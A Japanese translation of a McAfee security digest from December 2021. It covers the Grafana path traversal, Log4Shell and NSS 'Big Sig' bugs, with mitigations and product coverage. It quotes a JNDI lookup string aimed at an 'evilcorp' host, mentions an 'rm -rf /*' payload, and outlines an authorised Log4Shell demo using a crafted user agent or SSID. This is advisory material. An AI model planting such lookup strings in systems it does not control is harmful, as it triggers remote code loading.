息子さんの学校の者ですが、実はコンピュータートラブルが発生していまして…
え、うちの息子が何かやらかしましたか…
本当に、息子さんに($(JNDI:LDAP://evilcorp))Bobbyって名前をつけたんですか?
はい、家族はJINDI Bobbyって呼んでますけど、うちのJINDIが何か…
ええ、おかげで、学校中のサーバが”CryptoLocked”されてますよ
Log4jのインプットのサニタイズは…
2022年第一回目のバグレポートです。当社ATRチームが過去30日間のお気に入りの脆弱性について熱く語る月例セキュリティ・ダイジェストに辿り着くとは、新年早々、縁起が良いですね。おいしいコーヒーや紅茶、健康志向なら炭酸水、景気づけにエナジードリンクを片手に読んでいただくのもいいでしょう。やる気が出てきましたか?元気ですか?今年もよろしくお願いいたします。
CVE-2021-43798: Grafana path traversal
こちらのWikipediaの記述では、Grafanaは分析およびインタラクティブな視覚化を可能にするマルチプラットフォームで動作するオープンソースのWebアプリケーションで、Bloomberg、eBay、PayPalなどが有料で契約を結んでおり、多くの分野で広く使用されているとあります。そのプラグインパスの「…/…/…/」のサニタイズが不適切なため、攻撃者がローカルファイルにアクセスできるパストラバーサル脆弱性があることが、12月上旬に明らかになりました。ご覧のように、かなりタイトなスケジュールで次々と開示されました。
対象:
もし過去30日間でLog4Shellの脆弱性以外について全く聞いたことがなかったとしても、責められることはないでしょう。しかし、お客様の企業で脆弱性のあるソフトウェアを使用している場合は、「/ etc / passwd」ファイルがインターネット全体に公開されてしまうことがないよう、先月に開示された情報に従ったほうが良いでしょう。ベンダーがGitHub上でバグを修正しただけでしたが、あまりにも簡単に漏洩させられるため、その脆弱性が注目されて修正からわずか3日で、POCが公開されました。このリスクに対する詳細なオープンソースのコードベースと、その対処法について興味がありますか。Chromium のようなプロジェクトは、バグレポートにアクセス可能な人を制限するバグ追跡インフラ(セキュリティリスクとテストケースを明示するもの)を使用しています。バグレポートと公開コミットメッセージを組み合わせ、セキュリティコミットに注目を集めないようなシンプルな言い回しにしています。
もう一つ、興味深い点として、このバグの根本的な原因はpathをサニタイズするためのGo APIの誤用にあるいうことが挙げられます。Twitterのこちらのスレッドで議論されています。脆弱なコードが処理する入力のサニタイズに使用される filepath.Clean 関数は、絶対パスである場合のみ過剰な “../../” を削除するということがわかりました。これは、APIが期待通りの振る舞いをするにもかかわらず危険な結果につながるという、よくあるケースです。お客様の企業では、コードベースにこのような問題がないと確信が持てますか?パッチを適用しない場合、この脆弱性によって、極めて重要なデータへのアクセスや漏えいにつながる可能性があるということについて、よく考えて対処してください。
対処法:
このソフトウェアを使用しているのであれば、今すぐにアップデートしてください。そして、Sigma rulesを使用して攻撃の試みを検出することも可能です。理想的な世界では分析プラットフォームはインターネットに公開されるべきではありませんが、Shodanによると87kインスタンスのうち16kはまだ脆弱です。最低限、あなたのGrafanaインスタンスが..htaccess promptまたは同様のものの背後にあることを確認してください。開発の観点からは、セキュリティテストとユニットテストを活用して、設置しているフィルタリングが意図したとおりに動作していることを確認する必要があります。そして、大局から見れば、信頼されていないユーザー入力を処理する場合、フィルタリングをウィングしセキュリティツールの警告を無効化するのではなく、徹底的に監査されたコードパターンを適用することです。
模範的な対応:
Garth Nixは小説『Sabriel』の中で、「歩く人がpath(道)を選ぶのか、それともpath(道)が歩く人を選ぶのか」とつぶやいています。NSP(McAfee Network Security Platform)をご利用中のお客様の場合においては、攻撃者がpathをtraversal(横断)することはないでしょう。なぜなら、包括的なルールによってpath traversal attack(パストラバーサル攻撃)から保護され、カスタムの攻撃ルールを作成すればさらに保護を強固なものにすることができるからです。
CVE 2021-44228: Log4Shell
信頼できない入力を解析し、時には実行することが悪い考えであることを、誰が知ることができたでしょうか。もし、ログに記録された文字列が魔法の呪文 $(jdni:…) を含んでいる場合は、Apacheのlog4jのロギングコードはまさにそれを実行、信頼できないJavaコードを取り出して実行する可能性があることがわかったのです。この攻撃が繰り返されると再帰的な処理を行うため(例えばAWS key)、パターンマッチングによる検出を回避する方法が多く存在します。
対象:
ほぼすべての人が対象です。Javaを書いていて、ログを取るのが好きな人?そうです、あなたはこの件を把握しているはずです。Javaベースのアプリケーションやサーブレットを使っていますか?おそらく、信頼できないユーザー入力のロギングが行われているはずです。お客様の企業でJavaベースのアプライアンスやサービスを使用していますか?この問題は、業界全体に影響を与え、その影響は今後数年にわたり続くと見られます。さらに悪いことに、このバグは悪用するのが実に簡単なのです。ペンテスター、SOCアナリスト、スクリプトキディ (Script kiddie)から国家ぐるみのアクターまで、ありとあらゆるものがこの攻撃ベクトルを探り始めました。クリプトマイナーから “rm -rf /*” ペイロード、さらにはMiraiを拡散する試みまで、あらゆるペイロードを使った大規模なオンゴーイングの攻撃が観察されています。最悪の事態はまだ続くことになるでしょう。
対処法:
例えるなら、ドラマStranger Things(ストレンジャー・シングス)が「EricaなしにAmericaを綴れない」と教えてくれように、patch無しでapatchは語れない、そんな感じです。今すぐアップグレードしてください。マイクロパッチとトラフィック監視です。重要なポイント:もし突然、あなたのinternal-only のアプリケーションが、あなたが活動しているはずのない国のリモートサーバーに向かってLDAP リクエストをしたら、多分、何か良くないことがすでに起きています。
このバグの重要性をIT部門に説得できずに苦労しているなら(そして、カオス的状況をいとわないのであれば)、まずはデモを実行する許可を得てください。そして、あなたがコントロールできる文字列(ユーザーエージェント、Twitterのアカウント、無線LANのSSIDなど)をこの魔法の値$(jdni:ldap…)に設定し、あなたがコントロールするIPとポートを指すようにするのです。(信頼できるとは言いきれませんが、Canarytokenなどの第三者のサービスもあります)
そのアドレスのヒットを検出した場合は、受信アドレスの所有者と技術スタックのアップグレードの必要性について、やっかいな話を続けることになるのは不可避でしょう。まず最初に許可を得ることが、非常に重要になことです。この「魔法の文字列」を無差別にあちこちに貼り付けて何が起こるか確認していると(様々なソーシャルメディアプラットフォームで見たことがあるかもしれませんが)、いずれそのユーザーエージェントについて「お問合せ」される可能性が高いからです。まずこのようなテストを行う前に理解して、絶対に避けるべきことがあります。CFAA(Computer Fraud and Abuse Act、コンピューターに関する詐欺・乱用を防止する法)に違反したら、厄介な状況に巻き込まれることは必至だということを、まず最初に理解しておいてください。
模範的な対応:
当社のお客様は、さまざまな角度から保護されています(こちらのナレッジベースで詳細な内容をご覧ください):
- ENS(エンドポイントセキュリティ)のエキスパートルールによって、メモリ内の危険なパターンを拾い上げることができます。こちらのブログ記事でご紹介しています。
-
ENS(Endpoint Security)、VSE(VirusScan Enterprise)、MWG(McAfee Web Gateway)は“Potentially Unwanted Software”検出によりExploit-CVE-2021-44228.Cというタイルで汎用検出を提供可能です。この検出は、この脆弱性を悪用する実戦的なキャンペーンに関連するサンプルのハッシュのリストによっても補強されています。
-
NSP(Network Security Platform)は、ユーザー定義シグネチャ(KBを確認してください)によっても、この攻撃を検出することができます。
-
EDR(MVISION Endpoint Detection and Response)、MAR(McAfee Active Response)はRTS (リアルタイム検索)クエリで脆弱なシステムを探すことが出来ます。McAfee SIEMアップデート(Exploit Content Pack version 4.1.0)で、潜在的なエクスプロイトの試みに対して警告を発するようになりました。MVISION Insightsは、脅威キャンペーン「Log4Shell – A Log4j Vulnerability – CVE-2021-44228」に関して、重要な情報を提供しています。Insight Previewをご確認ください。
CVE-2021-43527: Big Sig
フロイトの母親が名付け親なのかと思うような、なにやら意味ありげな名前のこのバグは、12月初めのGoogle Project Zeroのブログ記事によれば、NISTのNational vulnerability database pageでMozillaのNetwork Security Services(NSS)にCVSSスコア9.8の脆弱性を発見したと書かれています。DERエンコードされたDSAおよびRSA-PSSシグネチャの処理において、ヒープオーバーフローがあるということです。簡単に説明すると、NSSは暗号ライブラリの集合体で、開発者は暗号のプリミティブや標準(通信の暗号化、データの真偽の検証など)の実装をより安全かつ厳重にテストして使用できるようにするものです。今回、様々な公開暗号方式を用いたデータの真正性を証明するシグネチャの検証を担う機能でバグが発見されています。通常、この種の機能はメールや文書作成者を確認するための署名として利用されます。Project Zeroのブログによると、このバグは2012年まで遡って悪用可能だったとのことです。この脆弱なコードパスは、Mozillaが使用する様々なファザー(fuzzer)の隙間に入り込んでしまっていたのです。
対象:
シグネチャを検証するためにNSSライブラリに依存しているのであれば、ソフトウェアを最新版(NSS version 3.73/3.681 ESR以降)に更新する必要があります。Firefoxは影響されないようですが、シグネチャを解析するその他のソフトウェア(Thunderbird、LibreOffice、Evolution、Evinceなど)に影響を与える可能性があります。
対処法:
脆弱性がある可能性のあるソフトウェアを使用している場合は、いつもと同様、最新版にアップデートすることをお勧めします。 このパッチは12月1日にリリースされたので、まずは脆弱性のあるソフトウェアがこの日以降にアップデートされたかどうかを確認する必要があります。 また、どのソフトウェアがこのライブラリに依存しているかを知ることも有効です。魔法のような解決策はありませんが、Windows nss3.dllやLinux libnss3.so などのファイルへの参照から始めてください。 最善の方法は、リリースノートや、使っている可能性のあるアプリケーションで使われているサードパーティライブラリのリストを見ることです。 もし脆弱性のあるライブラリを使用している場合、コードを更新するか、パッチをバックポートしてください。
模範的な対応:
お客様の企業で重要な脆弱性に関する最新の情報を見逃していないか、ぜひ当社の製品セキュリティ情報をご一読いただき、確認してみてください。CVE-2021-43527の修正プログラム配布予定のアプリケーションについても、随時、情報を更新しています。
※本ページの内容は2022年1月5日(US時間)更新の以下のMcAfee Enterprise Blogの内容です。
原文: The Bug Report – December 2021
著者: Philippe Laulheret